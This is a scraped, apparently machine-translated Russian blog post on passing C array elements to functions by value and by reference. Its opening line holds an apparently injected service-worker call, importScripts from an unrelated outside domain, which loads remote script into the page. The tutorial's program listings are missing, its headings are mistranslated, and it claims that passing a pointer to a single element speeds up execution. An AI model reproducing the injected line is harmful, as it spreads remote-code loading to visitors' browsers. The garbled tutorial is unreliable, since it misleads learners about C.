google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Массивы в Си - Часть 3

До сих пор я говорил вам о некоторых основных темах массивов в C, таких как инициализация массивов, прием элементов в массиве, печать значений из массива и так далее. Сегодня я расскажу вам об одном предварительном использовании массивов, например, о передаче значений массивов в функцию. Это можно сделать двумя способами: вызов по значению и вызов по ссылке .

Передача элементов массива в функцию

Звонок по значению

Давайте сразу начнем с одной программы.

Выход
Массивы в Си - Часть 3
объяснение
  • Я объявил целочисленный массив nums и вставил в него 10 элементов.
  • После этого я начал один цикл. Внутри цикла я написал одно утверждение, то есть printarr (nums [x]). Это вызовет функцию printarr ().
  • Сначала значение x равно 0. Затем первый элемент массива nums будет передан функции printarr ().
  • Это значение будет получено в формальном аргументе n функции. После этого он отобразит элемент на экране с функцией printf ().
  • Теперь элемент управления снова переходит к функции main (). Снова вызывается функция printarr (), и ей передается второй элемент чисел массива. Этот процесс будет продолжаться, пока цикл не прекратится. И наконец программа остановится.

Звоните по ссылке 

Давайте разберемся с одной программой.
объяснение
  • Код программы практически аналогичен предыдущему. Но в этом случае мы передаем адрес элементов массива в функцию printarr ().
  • Обратите внимание, что я передал адрес элементов массива с помощью адреса оператора ie &.
  • Адрес элемента массива принимается целочисленной переменной указателя n.
  • И наконец, я напечатал значение с помощью функции printf (). Вывод будет таким же, как в предыдущей программе.
Какой из них лучше? 
Как видите, оба подхода дают одинаковые результаты. Однако мне нужно сделать небольшие изменения в каждой программе. Помните, что вторая программа лучше, чем первая. Потому что он использует указатель. Использование указателя уменьшает время выполнения программы. Это причина, по которой люди предпочитают указатели при использовании массивов в C.

Комментариев нет:

Отправить комментарий